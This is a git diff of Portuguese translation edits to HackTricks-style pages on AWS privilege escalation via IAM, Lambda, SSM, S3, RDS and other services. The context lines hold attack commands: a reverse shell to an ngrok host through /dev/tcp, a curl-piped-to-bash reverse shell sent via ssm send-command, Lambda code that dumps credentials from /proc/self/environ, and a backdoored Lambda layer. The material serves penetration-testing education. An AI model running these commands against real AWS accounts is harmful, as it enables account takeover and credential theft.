### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
Com essas permissões, um atacante pode ir para o **console AWS**, criar um Notebook e acessá-lo para roubar o Papel IAM.
Com essas permissões, um atacante pode acessar a **AWS console**, criar um Notebook e acessá-lo para roubar o Papel IAM.
> [!CAUTION]
> Mesmo que você anexe um papel IAM à instância do notebook, em meus testes, percebi que consegui roubar credenciais gerenciadas pela AWS e não credenciais relacionadas ao papel IAM.

View File

@@ -4,7 +4,7 @@
### `gamelift:RequestUploadCredentials`
Com esta permissão, um atacante pode recuperar um **novo conjunto de credenciais para uso ao fazer upload** de um novo conjunto de arquivos de construção de jogos para o Amazon GameLift's Amazon S3. Ele retornará **credenciais de upload do S3**.
Com esta permissão, um atacante pode recuperar um **novo conjunto de credenciais para uso ao fazer upload** de um novo conjunto de arquivos de build de jogo para o Amazon GameLift's Amazon S3. Ele retornará **credenciais de upload do S3**.
```bash
aws gamelift request-upload-credentials \
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111

View File

@@ -29,21 +29,21 @@ Permite alterar a versão padrão de uma política IAM para outra versão existe
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impacto:** Escalação de privilégio indireta ao habilitar mais permissões.
**Impacto:** Escalada de privilégios indireta ao habilitar mais permissões.
### **`iam:CreateAccessKey`**
Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégio.
Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégios.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impacto:** Escalação direta de privilégios ao assumir as permissões estendidas de outro usuário.
**Impacto:** Escalada de privilégios direta ao assumir as permissões estendidas de outro usuário.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalada direta de privilégios.
Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalada de privilégios direta.
**Exploit para Criação:**
```bash
@@ -65,7 +65,7 @@ Permite habilitar uma chave de acesso desativada, potencialmente levando a acess
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impacto:** Escalação direta de privilégios reativando chaves de acesso.
**Impacto:** Escalação de privilégio direta ao reativar chaves de acesso.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
@@ -93,11 +93,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impacto:** Escalação direta de privilégios para qualquer coisa que a política concede.
**Impacto:** Escalação de privilégio direta para qualquer coisa que a política concede.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada direta de privilégios ao conceder permissões adicionais.
Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada de privilégio direta ao conceder permissões adicionais.
**Exploit para Função:**
```bash
@@ -127,7 +127,7 @@ Você pode usar uma política como:
]
}
```
**Impacto:** Escalação direta de privilégios ao adicionar permissões através de políticas.
**Impacto:** Escalação de privilégios direta ao adicionar permissões através de políticas.
### **`iam:AddUserToGroup`**
@@ -137,7 +137,7 @@ Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impacto:** Escalação direta de privilégios para o nível das permissões do grupo.
**Impacto:** Escalação de privilégios direta para o nível das permissões do grupo.
### **`iam:UpdateAssumeRolePolicy`**
@@ -148,7 +148,7 @@ Permite alterar o documento da política de assumir função de uma função, po
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Onde a política se parece com o seguinte, que concede ao usuário permissão para assumir a função:
Onde a política se parece com a seguinte, que concede ao usuário permissão para assumir a função:
```json
{
"Version": "2012-10-17",
@@ -163,11 +163,11 @@ Onde a política se parece com o seguinte, que concede ao usuário permissão pa
]
}
```
**Impacto:** Escalação direta de privilégios ao assumir as permissões de qualquer função.
**Impacto:** Escalação de privilégio direta ao assumir as permissões de qualquer função.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada indireta de privilégios.
Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilégio indireta.
**Exploit para Upload de Chave SSH:**
```bash
@@ -177,7 +177,7 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impacto:** Escalação de privilégio indireta ao habilitar o acesso ao CodeCommit ou desabilitar a proteção MFA.
**Impacto:** Escalação de privilégio indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
### **`iam:ResyncMFADevice`**
@@ -194,7 +194,7 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>
Com essas permissões, você pode **alterar os metadados XML da conexão SAML**. Então, você poderia abusar da **federação SAML** para **fazer login** com qualquer **papel que esteja confiando** nele.
Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, para que você possa colocar o seu, fazer login e configurar o anterior de volta.
Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, para que possa colocar o seu, fazer login e configurar o anterior de volta.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Inseguro sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar uma nova **Thumbprint** para conseguir fazer login em todos os papéis que confiam no provedor.
(Incerto sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar uma nova **Thumbprint** para conseguir fazer login em todos os papéis que confiam no provedor.
```bash
# List providers
aws iam list-open-id-connect-providers

View File

@@ -60,7 +60,7 @@ aws kms create-grant \
> Uma concessão pode permitir apenas certos tipos de operações: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
> [!WARNING]
> Note que pode levar alguns minutos para que o KMS **permita que o usuário use a chave após a concessão ter sido gerada**. Uma vez que esse tempo tenha passado, o principal pode usar a chave KMS sem precisar especificar nada.\
> Note que pode levar alguns minutos para o KMS **permitir que o usuário use a chave após a concessão ter sido gerada**. Uma vez que esse tempo tenha passado, o principal pode usar a chave KMS sem precisar especificar nada.\
> No entanto, se for necessário usar a concessão imediatamente [use um token de concessão](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (verifique o código a seguir).\
> Para [**mais informações leia isso**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
```bash
@@ -70,7 +70,7 @@ aws kms generate-data-key \
-key-spec AES_256 \
--grant-tokens $token
```
Note que é possível listar as concessões de chaves com:
Observe que é possível listar as concessões de chaves com:
```bash
aws kms list-grants --key-id <value>
```

View File

@@ -14,7 +14,7 @@ Mais informações sobre lambda em:
Usuários com as permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** podem escalar seus privilégios.\
Eles podem **criar uma nova função Lambda e atribuir a ela um papel IAM existente**, concedendo à função as permissões associadas a esse papel. O usuário pode então **escrever e fazer upload de código para essa função Lambda (com um rev shell, por exemplo)**.\
Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da API da AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\\
Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da API AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\\
Um atacante poderia abusar disso para obter um **rev shell e roubar o token**:
```python:rev.py
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
É também possível vazar as credenciais da função da lambda sem precisar de uma conexão externa. Isso seria útil para **Lambdas isoladas em rede** usadas em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída da lambda.
Também é possível vazar as credenciais da função do lambda sem precisar de uma conexão externa. Isso seria útil para **Lambdas isolados em rede** usados em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída do lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -92,7 +92,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
Usuários com permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalar privilégios** mesmo sem `lambda:InvokeFunction`.\
Eles podem criar uma **função Lambda com código malicioso e atribuí-la a um papel IAM existente**.
Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um mapeamento de fonte de evento. Essa configuração garante que a função Lambda seja **acionada automaticamente ao inserir um novo item** na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões do papel IAM passado.
Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um mapeamento de fonte de evento. Essa configuração garante que a função Lambda seja **ativada automaticamente ao inserir um novo item** na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões do papel IAM passado.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
@@ -163,7 +163,7 @@ aws lambda invoke --function-name my_function output.txt
#### RCE via variáveis de ambiente
Com essas permissões, é possível adicionar variáveis de ambiente que farão com que o Lambda execute código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
Com essas permissões, é possível adicionar variáveis de ambiente que farão o Lambda executar código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
@@ -175,9 +175,9 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
#### RCE via Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** na sua função lambda, mas **armazená-lo separadamente**, para que o código da função possa permanecer pequeno e **várias funções possam compartilhar código**.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** na sua função lambda, mas **armazenando-o separadamente**, para que o código da função possa permanecer pequeno e **várias funções possam compartilhar código**.
Dentro da lambda, você pode verificar os caminhos de onde o código python é carregado com uma função como a seguinte:
Dentro do lambda, você pode verificar os caminhos de onde o código python é carregado com uma função como a seguinte:
```python
import json
import sys
@@ -202,7 +202,7 @@ Por exemplo, a biblioteca boto3 é carregada de `/var/runtime/boto3` (4ª posiç
#### Exploração
É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova camada** a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda já esteja **usando uma camada** e você poderia **baixar** a camada e **adicionar seu código** lá.
É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova camada** a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda **já esteja usando uma camada** e você poderia **baixar** a camada e **adicionar seu código** lá.
Por exemplo, vamos supor que a lambda esteja usando a biblioteca boto3, isso criará uma camada local com a última versão da biblioteca:
```bash
@@ -215,7 +215,7 @@ Observe que você precisa criar uma pasta python e colocar as bibliotecas lá pa
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Agora, torne a camada lambda carregada **acessível por qualquer conta**:
Agora, torne a camada lambda **acessível por qualquer conta**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
@@ -230,7 +230,7 @@ aws lambda update-function-configuration \
```
O próximo passo seria **invocar a função** nós mesmos, se pudermos, ou esperar até que **ela seja invocada** por meios normais que é o método mais seguro.
Uma **maneira mais furtiva de explorar essa vulnerabilidade** pode ser encontrada em:
Uma **maneira mais discreta de explorar essa vulnerabilidade** pode ser encontrada em:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -244,7 +244,7 @@ Talvez com essas permissões você consiga criar uma função e executá-la cham
### Lambda MitM
Algumas lambdas vão estar **recebendo informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em uma delas, você pode exfiltrar as informações que outros usuários estão enviando para ela, confira em:
Alguns lambdas vão estar **recebendo informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em um deles, você pode exfiltrar as informações que outros usuários estão enviando para ele, confira em:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md

View File

@@ -35,7 +35,7 @@ Esta permissão permitirá que você obtenha uma chave para acessar o bucket:
```bash
aws lightsail create-bucket-access-key --bucket-name <name>
```
**Impacto Potencial:** Encontrar informações sensíveis dentro do bucket.
**Impacto Potencial:** Encontre informações sensíveis dentro do bucket.
### `lightsail:GetRelationalDatabaseMasterUserPassword`
@@ -43,7 +43,7 @@ Esta permissão permitirá que você obtenha as credenciais para acessar o banco
```bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
```
**Impacto Potencial:** Encontrar informações sensíveis dentro do banco de dados.
**Impacto Potencial:** Encontre informações sensíveis dentro do banco de dados.
### `lightsail:UpdateRelationalDatabase`
@@ -115,7 +115,7 @@ aws update-container-service \
### `lightsail:CreateDomainEntry`
Um atacante com esta permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
```bash
aws lightsail create-domain-entry \
--domain-name example.com \
@@ -125,7 +125,7 @@ aws lightsail create-domain-entry \
### `lightsail:UpdateDomainEntry`
Um atacante com esta permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de controle do subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de controle do subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
```bash
aws lightsail update-domain-entry \
--domain-name example.com \

View File

@@ -36,7 +36,7 @@ Se um broker estiver usando **LDAP** para autorização com **ActiveMQ**. É pos
aws mq list-brokers
aws mq update-broker --broker-id <value> --ldap-server-metadata=...
```
Se você conseguir de alguma forma encontrar as credenciais originais usadas pelo ActiveMQ, poderá realizar um MitM, roubar as credenciais, usá-las no servidor original e enviar a resposta (talvez apenas reutilizando as credenciais roubadas você consiga fazer isso).
Se você conseguisse de alguma forma encontrar as credenciais originais usadas pelo ActiveMQ, poderia realizar um MitM, roubar as credenciais, usá-las no servidor original e enviar a resposta (talvez apenas reutilizando as credenciais roubadas você pudesse fazer isso).
**Impacto Potencial:** Roubar credenciais do ActiveMQ

View File

@@ -4,7 +4,7 @@
## MSK
Para mais informações sobre o MSK (Kafka), consulte:
Para mais informações sobre MSK (Kafka), consulte:
{{#ref}}
../aws-services/aws-msk-enum.md

View File

@@ -13,6 +13,6 @@ Para mais informações, consulte:
## Da conta de gerenciamento para contas filhas
Se você comprometer a conta root/gerenciamento, é provável que você possa comprometer todas as contas filhas.\
Para [**aprender como, ver esta página**](../#compromising-the-organization).
Para [**aprender como, verifique esta página**](../#compromising-the-organization).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -42,13 +42,13 @@ De acordo com os [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGui
> [!TIP]
> Se ao executar **`SELECT datname FROM pg_database;`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um **banco de dados postgresql da AWS**.
Primeiro, você pode verificar se este banco de dados foi usado para acessar qualquer outro serviço da AWS. Você pode verificar isso observando as extensões instaladas:
Primeiro, você pode verificar se esse banco de dados foi usado para acessar algum outro serviço da AWS. Você pode verificar isso observando as extensões instaladas:
```sql
SELECT * FROM pg_extension;
```
Se você encontrar algo como **`aws_s3`**, pode assumir que este banco de dados tem **algum tipo de acesso ao S3** (existem outras extensões como **`aws_ml`** e **`aws_lambda`**).
Além disso, se você tiver permissões para executar **`aws rds describe-db-clusters`**, pode ver lá se o **cluster tem algum IAM Role associado** no campo **`AssociatedRoles`**. Se houver, você pode assumir que o banco de dados foi **preparado para acessar outros serviços da AWS**. Com base no **nome da função** (ou se você conseguir obter as **permissões** da função), você poderia **adivinhar** que acesso extra o banco de dados possui.
Além disso, se você tiver permissões para executar **`aws rds describe-db-clusters`**, pode ver lá se o **cluster tem algum IAM Role associado** no campo **`AssociatedRoles`**. Se houver, você pode assumir que o banco de dados foi **preparado para acessar outros serviços da AWS**. Com base no **nome da função** (ou se você puder obter as **permissões** da função), você poderia **adivinhar** que acesso extra o banco de dados possui.
Agora, para **ler um arquivo dentro de um bucket**, você precisa saber o caminho completo. Você pode lê-lo com:
```sql
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
Se você tivesse **credenciais AWS brutas**, também poderia usá-las para acessar dados do S3 com:
Se você tivesse **credenciais brutas da AWS**, também poderia usá-las para acessar dados do S3 com:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -127,7 +127,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
Um atacante com as permissões `rds:CreateDBInstance` e `iam:PassRole` pode **criar uma nova instância RDS com um papel especificado anexado**. O atacante pode então potencialmente **acessar dados sensíveis** ou modificar os dados dentro da instância.
> [!WARNING]
> Alguns requisitos do papel/perfil de instância a serem anexados (de [**aqui**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> Alguns requisitos do papel/perfil da instância a serem anexados (de [**aqui**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> - O perfil deve existir em sua conta.
> - O perfil deve ter um papel IAM que o Amazon EC2 tenha permissões para assumir.
@@ -139,7 +139,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
### `rds:AddRoleToDBInstance`, `iam:PassRole`
Um atacante com as permissões `rds:AddRoleToDBInstance` e `iam:PassRole` pode **adicionar um papel especificado a uma instância RDS existente**. Isso poderia permitir que o atacante **acessasse dados sensíveis** ou modificasse os dados dentro da instância.
Um atacante com as permissões `rds:AddRoleToDBInstance` e `iam:PassRole` pode **adicionar um papel especificado a uma instância RDS existente**. Isso pode permitir que o atacante **acesse dados sensíveis** ou modifique os dados dentro da instância.
> [!WARNING]
> A instância do DB deve estar fora de um cluster para isso

View File

@@ -44,7 +44,7 @@ aws redshift modify-cluster cluster-identifier <identifier-for-the cluster>
## Acessando Serviços Externos
> [!WARNING]
> Para acessar todos os recursos a seguir, você precisará **especificar o papel a ser usado**. Um cluster Redshift **pode ter uma lista de papéis AWS atribuídos** que você pode usar **se souber o ARN** ou você pode simplesmente definir "**default**" para usar o padrão atribuído.
> Para acessar todos os recursos a seguir, você precisará **especificar o papel a ser usado**. Um cluster Redshift **pode ter uma lista de papéis AWS atribuídos** que você pode usar **se souber o ARN** ou você pode apenas definir "**default**" para usar o padrão atribuído.
> Além disso, como [**explicado aqui**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), o Redshift também permite concatenar papéis (desde que o primeiro possa assumir o segundo) para obter acesso adicional, mas apenas **separando-os** com uma **vírgula**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`

View File

@@ -34,7 +34,7 @@ Por exemplo, um atacante com essas **permissões sobre um bucket de cloudformati
]
}
```
E o sequestro é possível porque há uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **função lambda** em sua conta que será **ativada quando uma notificação de bucket for enviada**, e **sequestrar** o **conteúdo** desse **bucket**.
E o sequestro é possível porque há uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que será **ativada quando uma notificação de bucket for enviada**, e **sequestrar** o **conteúdo** desse **bucket**.
![](<../../../images/image (174).png>)
@@ -43,7 +43,7 @@ Para mais informações, consulte a pesquisa original: [https://rhinosecuritylab
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
Estas são as permissões para **obter e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam armazenamento S3 para armazenar **arquivos de configuração**.\
Estas são as permissões para **obter e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para armazenar **arquivos de configuração**.\
Um atacante com **acesso de leitura** a eles pode encontrar **informações sensíveis** neles.\
Um atacante com **acesso de gravação** a eles poderia **modificar os dados para abusar de algum serviço e tentar escalar privilégios**.\
Aqui estão alguns exemplos:
@@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
Um atacante poderia abusar dessas permissões para **conceder a si mesmo mais acesso** a buckets específicos.\
Um atacante poderia abusar dessas permissões para **conceder mais acesso** sobre buckets específicos.\
Observe que o atacante não precisa ser da mesma conta. Além disso, o acesso de gravação
```bash
# Update bucket ACL

View File

@@ -17,11 +17,11 @@ A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da nov
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, em seguida, role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e na seção “Other”, clique no botão “Terminal”.
Agora é possível acessar as credenciais de metadados da IAM Role.
**Impacto Potencial:** Privesc para a função de serviço sagemaker especificada.
**Impacto Potencial:** Privesc para o papel de serviço sagemaker especificado.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
@@ -71,7 +71,7 @@ Um atacante com essas permissões será capaz de criar um trabalho de treinament
> cd /tmp/rev
> sudo docker build . -t reverseshell
>
> # Enviá-lo para ECR
> # Enviar para ECR
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

View File

@@ -20,7 +20,7 @@ aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
Com as permissões anteriores, é possível **dar acesso a outros principais/contas (mesmo externos)** para acessar o **segredo**. Note que, para **ler segredos criptografados** com uma chave KMS, o usuário também precisa ter **acesso à chave KMS** (mais informações na [página de Enumeração KMS](../aws-services/aws-kms-enum.md)).
Com as permissões anteriores, é possível **dar acesso a outros principais/contas (mesmo externos)** para acessar o **segredo**. Note que, para **ler segredos criptografados** com uma chave KMS, o usuário também precisa ter **acesso à chave KMS** (mais informações na [página KMS Enum](../aws-services/aws-kms-enum.md)).
```bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>

View File

@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
### `sns:AddPermission`
Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, potencialmente obtendo permissões adicionais.
Um atacante poderia conceder acesso a um tópico SNS a usuários ou serviços não autorizados, potencialmente obtendo permissões adicionais.
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```

View File

@@ -35,6 +35,6 @@ aws sqs receive-message --queue-url <value>
aws sqs delete-message --queue-url <value> --receipt-handle <value>
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
```
**Impacto Potencial**: Roubar informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas.
**Impacto Potencial**: Roubo de informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Para mais informações sobre SSM, consulte:
### `ssm:SendCommand`
Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** que está em execução dentro dele.
Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** que está sendo executado dentro dele.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode apenas capturar o rev shell localmente com:
Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode simplesmente capturar o rev shell localmente com:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -47,12 +47,12 @@ aws ssm start-session --target "$INSTANCE_ID"
> [!CAUTION]
> Para iniciar uma sessão, você precisa do **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em funcionamento.
**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução com SSM Agents em execução.
#### Privesc para ECS
Quando as **tarefas ECS** são executadas com **`ExecuteCommand` habilitado**, usuários com permissões suficientes podem usar `ecs execute-command` para **executar um comando** dentro do contêiner.\
De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o contêiner de destino com o SSM Session Manager. (Plugin do SSM Session Manager necessário para que isso funcione)\
De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o contêiner de destino com o SSM Session Manager. (Plugin SSM Session Manager necessário para que isso funcione)\
Portanto, usuários com `ssm:StartSession` poderão **obter um shell dentro das tarefas ECS** com essa opção habilitada apenas executando:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
@@ -103,7 +103,7 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Impacto Potencial:** Encontre informações sensíveis dentro da saída dos comandos.
**Impacto Potencial:** Encontrar informações sensíveis dentro da saída dos comandos.
### Codebuild

View File

@@ -4,7 +4,7 @@
## AWS Identity Center / AWS SSO
Para mais informações sobre o AWS Identity Center / AWS SSO, consulte:
Para mais informações sobre AWS Identity Center / AWS SSO, consulte:
{{#ref}}
../aws-services/aws-iam-enum.md
@@ -17,7 +17,7 @@ Para mais informações sobre o AWS Identity Center / AWS SSO, consulte:
### ~~Redefinir Senha~~
Uma maneira fácil de escalar privilégios em casos como este seria ter uma permissão que permita redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria de acesso ao e-mail do usuário.
